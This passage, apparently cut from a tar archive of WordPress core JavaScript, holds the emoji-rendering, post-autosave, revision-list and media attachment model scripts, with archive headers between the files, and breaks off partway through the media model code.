-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[\xa9\xae\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c[\udf85\udfc2-\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4-\udeb6\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd-\uddcf\uddd1-\udddd\udec3-\udec5\udef0-\udef6]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedd-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude74\ude78-\ude7c\ude80-\ude86\ude90-\udeac\udeb0-\udeba\udec0-\udec2\uded0-\uded9\udee0-\udee7]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g,c=/\uFE0F/g,e=String.fromCharCode(8205),t=/[&<>'"]/g,h=/^(?:iframe|noframes|noscript|script|select|style|textarea)$/,b=String.fromCharCode;return f;function g(d,u){return document.createTextNode(u?d.replace(c,""):d)}function a(d,u){return"".concat(u.base,u.size,"/",d,u.ext)}function x(d){return i(d.indexOf(e)<0?d.replace(c,""):d)}function n(d){return u[d]}function r(){return null}function o(d,u){return String(d).replace(m,u)}function i(d,u){for(var f=[],c=0,e=0,b=0;b<d.length;)c=d.charCodeAt(b++),e?(f.push((65536+(e-55296<<10)+(c-56320)).toString(16)),e=0):55296<=c&&c<=56319?e=c:f.push(c.toString(16));return f.join(u||"-")}}(); // Source: wp-includes/js/wp-emoji.min.js !function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.MutationObserver||c.WebKitMutationObserver||c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature||a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50),void r++);n=c.twemoji,t=!0,e&&new e(function(u){for(var e,t,n,a,r=u.length;r--;){if(e=u[r].addedNodes,t=u[r].removedNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.nextSibling.nodeType;)a.nodeValue=a.nodeValue+a.nextSibling.nodeValue,a.parentNode.removeChild(a.nextSibling);a=a.parentNode}!a||1!==a.nodeType||a.className&&"string"==typeof a.className&&-1!==a.className.indexOf("wp-exclude-emoji")||d(a.textContent)&&f(a)}}}).observe(a.body,{childList:!0,subtree:!0}),f(a.body)}}function d(u){return!!u&&(/[\uDC00-\uDFFF]/.test(u)||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/.test(u))}function f(u,e){var t;return!l.supports.everything&&n&&u&&("string"==typeof u||u.childNodes&&u.childNodes.length)?(e=e||{},t={base:i()?l.svgUrl:l.baseUrl,ext:i()?l.svgExt:l.ext,className:e.className||"emoji",callback:function(u,e){switch(u){case"a9":case"ae":case"2122":case"2194":case"2660":case"2663":case"2665":case"2666":return!1}return!(l.supports.everythingExceptFlag&&!/^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test(u)&&!/^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test(u))&&"".concat(e.base,u,e.ext)},attributes:function(){return{role:"img"}},onerror:function(){n.parentNode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{parse:f,test:d}}}(window,window._wpemojiSettings);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/autosave.min.js����������������������������������������������������������������������������������0000644�����������������00000013303�14717703502�0010135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ window.autosave=function(){return!0},function(c,a){function n(){T={post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""},w=r(T)}function i(t){var e=(new Date).getTime(),n=[],o=u();return o&&o.isDirty()&&!o.isHidden()&&H<e-3e3&&(o.save(),H=e),o={post_id:c("#post_ID").val()||0,post_type:c("#post_type").val()||"",post_author:c("#post_author").val()||"",post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""},"local"===t||(c('input[id^="in-category-"]:checked').each(function(){n.push(this.value)}),o.catslist=n.join(","),(e=c("#post_name").val())&&(o.post_name=e),(t=c("#parent_id").val())&&(o.parent_id=t),c("#comment_status").prop("checked")&&(o.comment_status="open"),c("#ping_status").prop("checked")&&(o.ping_status="open"),"1"===c("#auto_draft").val()&&(o.auto_draft="1")),o}function r(t){return"object"==typeof t?(t.post_title||"")+"::"+(t.content||"")+"::"+(t.excerpt||""):(c("#title").val()||"")+"::"+(c("#content").val()||"")+"::"+(c("#excerpt").val()||"")}function s(){j.trigger("autosave-disable-buttons"),setTimeout(o,5e3)}function o(){j.trigger("autosave-enable-buttons")}function u(){return"undefined"!=typeof tinymce&&tinymce.get("content")}function p(){_=!0,a.clearTimeout(e),e=a.setTimeout(function(){_=!1},1e4)}function l(){y=(new Date).getTime()+1e3*autosaveL10n.autosaveInterval||6e4}function v(){var t=!1;return t=k&&S?(t=sessionStorage.getItem("wp-autosave-"+S))?JSON.parse(t):{}:t}function f(){var t=v();return t&&D&&t["post_"+D]||!1}function d(t){var e=v();if(!e||!D)return!1;if(t)e["post_"+D]=t;else{if(!e.hasOwnProperty("post_"+D))return!1;delete e["post_"+D]}return t=e,!(!k||!S)&&(e="wp-autosave-"+S,sessionStorage.setItem(e,JSON.stringify(t)),null!==sessionStorage.getItem(e))}function g(t){var e;return!(I||!k)&&(t?(e=f()||{},c.extend(e,t)):e=i("local"),(t=r(e))!==(C=void 0===C?w:C)&&(e.save_time=(new Date).getTime(),e.status=c("#post_status").val()||"",(e=d(e))&&(C=t),e))}function m(t,e){function n(t){return t.toString().replace(/[\x20\t\r\n\f]+/g,"")}return n(t||"")===n(e||"")}function t(){var t,e,n,o=f(),a=wpCookies.get("wp-saving-post"),i=c("#has-newer-autosave").parent(".notice"),s=c(".wp-header-end");if(a===D+"-saved")return wpCookies.remove("wp-saving-post"),void d(!1);o&&(a=c("#content").val()||"",t=c("#title").val()||"",e=c("#excerpt").val()||"",m(a,o.content)&&m(t,o.post_title)&&m(e,o.excerpt)||(s.length||(s=c(".wrap h1, .wrap h2").first()),n=c("#local-storage-notice").insertAfter(s).addClass("notice-warning"),i.length?i.slideUp(150,function(){n.slideDown(150)}):n.slideDown(200),n.find(".restore-backup").on("click.autosave-local",function(){!function(t){var e;if(t)return C=r(t),c("#title").val()!==t.post_title&&c("#title").trigger("focus").val(t.post_title||""),c("#excerpt").val(t.excerpt||""),(e=u())&&!e.isHidden()&&"undefined"!=typeof switchEditors?(e.settings.wpautop&&t.content&&(t.content=switchEditors.wpautop(t.content)),e.undoManager.transact(function(){e.setContent(t.content||""),e.nodeChanged()})):(c("#content-html").trigger("click"),c("#content").trigger("focus"),document.execCommand("selectAll"),document.execCommand("insertText",!1,t.content||""))}(o),n.fadeTo(250,0,function(){n.slideUp(150)})})))}var w,_,e,h,x,y,b,S,D,k,C,I,T,H,j;a.wp=a.wp||{},a.wp.autosave=(T={},H=0,j=c(document),c(function(){n()}).on("tinymce-editor-init.autosave",function(t,e){"content"!==e.id&&"excerpt"!==e.id||a.setTimeout(function(){e.save(),n()},1e3)}),{getPostData:i,getCompareString:r,disableButtons:s,enableButtons:o,local:(I=!1,S=void 0!==a.autosaveL10n&&a.autosaveL10n.blog_id,function(){var t=Math.random().toString(),e=!1;try{a.sessionStorage.setItem("wp-test",t),e=a.sessionStorage.getItem("wp-test")===t,a.sessionStorage.removeItem("wp-test")}catch(t){}return k=e}()&&S&&(c("#content").length||c("#excerpt").length)&&c(function(){D=c("#post_ID").val()||0,c("#wp-content-wrap").hasClass("tmce-active")?j.on("tinymce-editor-init.autosave",function(){a.setTimeout(function(){t()},1500)}):t(),a.setInterval(g,15e3),c("form#post").on("submit.autosave-local",function(){var t=u(),e=c("#post_ID").val()||0,t=(t&&!t.isHidden()?t.on("submit",function(){g({post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""})}):g({post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""}),"https:"===a.location.protocol);wpCookies.set("wp-saving-post",e+"-check",86400,!1,!1,t)})}),{hasStorage:k,getSavedPostData:f,save:g,suspend:function(){I=!0},resume:function(){I=!1}}),server:(y=0,b=!1,c(function(){l()}).on("heartbeat-send.autosave",function(t,e){var n,o=!(b||_||!a.autosave())&&(!((new Date).getTime()<y)&&((o=r(n=i()))!==(x=void 0===x?w:x)&&(h=o,p(),s(),j.trigger("wpcountwords",[n.content]).trigger("before-autosave",[n]),n._wpnonce=c("#_wpnonce").val()||"",n)));o&&(e.wp_autosave=o)}).on("heartbeat-tick.autosave",function(t,e){e.wp_autosave&&(e=e.wp_autosave,l(),_=!1,x=h,h="",j.trigger("after-autosave",[e]),o(),e.success&&c("#auto_draft").val(""))}).on("heartbeat-connection-lost.autosave",function(t,e,n){"timeout"!==e&&603!==n||(e=c("#lost-connection-notice"),wp.autosave.local.hasStorage||e.find(".hide-if-no-sessionstorage").hide(),e.show(),s())}).on("heartbeat-connection-restored.autosave",function(){c("#lost-connection-notice").hide(),o()}),{tempBlockSave:p,triggerSave:function(){y=0,wp.heartbeat.connectNow()},postChanged:function(){var n=!1;return a.tinymce?(a.tinymce.each(["content","excerpt"],function(t){var e=a.tinymce.get(t);if(!e||e.isHidden()){if((c("#"+t).val()||"")!==T[t])return!(n=!0)}else if(e.isDirty())return!(n=!0)}),n=(c("#title").val()||"")!==T.post_title||n):r()!==w},suspend:function(){b=!0},resume:function(){b=!1}})})}(jQuery,window);�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-list-revisions.min.js�������������������������������������������������������������������������0000644�����������������00000001125�14717703502�0011723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(e){function t(){var e=document.getElementById("post-revisions"),n=e?e.getElementsByTagName("input"):[];e.onclick=function(){for(var e,t=0,i=0;i<n.length;i++)t+=n[i].checked?1:0,e=n[i].getAttribute("name"),n[i].checked||!("left"==e&&t<1||"right"==e&&1<t&&(!n[i-1]||!n[i-1].checked))||n[i+1]&&n[i+1].checked&&"right"==n[i+1].getAttribute("name")?"left"!=e&&"right"!=e||(n[i].style.visibility="visible"):n[i].style.visibility="hidden"},e.onclick()}e&&e.addEventListener?e.addEventListener("load",t,!1):e&&e.attachEvent&&e.attachEvent("onload",t)}(window);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-models.js����������������������������������������������������������������������������������0000644�����������������00000125611�14717703502�0010072 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/******/ (function() { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 7727: /***/ (function(module) { var $ = Backbone.$, Attachment; /** * wp.media.model.Attachment * * @memberOf wp.media.model * * @class * @augments Backbone.Model */ Attachment = Backbone.Model.extend(/** @lends wp.media.model.Attachment.prototype */{ /** * Triggered when attachment details change * Overrides Backbone.Model.sync * * @param {string} method * @param {wp.media.model.Attachment} model * @param {Object} [options={}] * * @return {Promise} */ sync: function( method, model, options ) { // If the attachment does not yet have an `id`, return an instantly // rejected promise. Otherwise, all of our requests will fail. if ( _.isUndefined( this.id ) ) { return $.Deferred().rejectWith( this ).promise(); } // Overload the `read` request so Attachment.fetch() functions correctly. if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'get-attachment', id: this.id }); return wp.media.ajax( options ); // Overload the `update` request so properties can be saved. } else if ( 'update' === method ) { // If we do not have the necessary nonce, fail immediately. if ( ! this.get('nonces') || ! this.get('nonces').update ) { return $.Deferred().rejectWith( this ).promise(); } options = options || {}; options.context = this; // Set the action and ID. options.data = _.extend( options.data || {}, { action: 'save-attachment', id: this.id, nonce: this.get('nonces').update, post_id: wp.media.model.settings.post.id }); // Record the values of the changed attributes. if ( model.hasChanged() ) { options.data.changes = {}; _.each( model.changed, function( value, key ) { options.data.changes[ key ] = this.get( key ); }, this ); } return wp.media.ajax( options ); // Overload the `delete` request so attachments can be removed. // This will permanently delete an attachment. } else if ( 'delete' === method ) { options = options || {}; if ( ! options.wait ) { this.destroyed = true; } options.context = this; options.data = _.extend( options.data || {}, { action: 'delete-post', id: this.id, _wpnonce: this.get('nonces')['delete'] }); return wp.media.ajax( options ).done( function() { this.destroyed = true; }).fail( function() { this.destroyed = false; }); // Otherwise, fall back to `Backbone.sync()`. } else { /** * Call `sync` directly on Backbone.Model */ return Backbone.Model.prototype.sync.apply( this, arguments ); } }, /** * Convert date strings into Date objects. * * @param {Object} resp The raw response object, typically returned by fetch() * @return {Object} The modified response object, which is the attributes hash * to be set on the model. */ parse: function( resp ) { if ( ! resp ) { return resp; } resp.date = new Date( resp.date ); resp.modified = new Date( resp.modified ); return resp; }, /** * @param {Object} data The properties to be saved. * @param {Object} options Sync options. e.g. patch, wait, success, error. * * @this Backbone.Model * * @return {Promise} */ saveCompat: function( data, options ) { var model = this; // If we do not have the necessary nonce, fail immediately. if ( ! this.get('nonces') || ! this.get('nonces').update ) { return $.Deferred().rejectWith( this ).promise(); } return wp.media.post( 'save-attachment-compat', _.defaults({ id: this.id, nonce: this.get('nonces').update, post_id: wp.media.model.settings.post.id }, data ) ).done( function( resp, status, xhr ) { model.set( model.parse( resp, xhr ), options ); }); } },/** @lends wp.media.model.Attachment */{ /** * Create a new model on the static 'all' attachments collection and return it. * * @static * * @param {Object} attrs * @return {wp.media.model.Attachment} */ create: function( attrs ) { var Attachments = wp.media.model.Attachments; return Attachments.all.push( attrs ); }, /** * Create a new model on the static 'all' attachments collection and return it. * * If this function has already been called for the id, * it returns the specified attachment. * * @static * @param {string} id A string used to identify a model. * @param {Backbone.Model|undefined} attachment * @return {wp.media.model.Attachment} */ get: _.memoize( function( id, attachment ) { var Attachments = wp.media.model.Attachments; return Attachments.all.push( attachment || { id: id } ); }) }); module.exports = Attachment; /***/ }), /***/ 6940: /***/ (function(module) { /** * wp.media.model.Attachments * * A collection of attachments. * * This collection has no persistence with the server without supplying * 'options.props.query = true', which will mirror the collection * to an Attachments Query collection - @see wp.media.model.Attachments.mirror(). * * @memberOf wp.media.model * * @class * @augments Backbone.Collection * * @param {array} [models] Models to initialize with the collection. * @param {object} [options] Options hash for the collection. * @param {string} [options.props] Options hash for the initial query properties. * @param {string} [options.props.order] Initial order (ASC or DESC) for the collection. * @param {string} [options.props.orderby] Initial attribute key to order the collection by. * @param {string} [options.props.query] Whether the collection is linked to an attachments query. * @param {string} [options.observe] * @param {string} [options.filters] * */ var Attachments = Backbone.Collection.extend(/** @lends wp.media.model.Attachments.prototype */{ /** * @type {wp.media.model.Attachment} */ model: wp.media.model.Attachment, /** * @param {Array} [models=[]] Array of models used to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { options = options || {}; this.props = new Backbone.Model(); this.filters = options.filters || {}; // Bind default `change` events to the `props` model. this.props.on( 'change', this._changeFilteredProps, this ); this.props.on( 'change:order', this._changeOrder, this ); this.props.on( 'change:orderby', this._changeOrderby, this ); this.props.on( 'change:query', this._changeQuery, this ); this.props.set( _.defaults( options.props || {} ) ); if ( options.observe ) { this.observe( options.observe ); } }, /** * Sort the collection when the order attribute changes. * * @access private */ _changeOrder: function() { if ( this.comparator ) { this.sort(); } }, /** * Set the default comparator only when the `orderby` property is set. * * @access private * * @param {Backbone.Model} model * @param {string} orderby */ _changeOrderby: function( model, orderby ) { // If a different comparator is defined, bail. if ( this.comparator && this.comparator !== Attachments.comparator ) { return; } if ( orderby && 'post__in' !== orderby ) { this.comparator = Attachments.comparator; } else { delete this.comparator; } }, 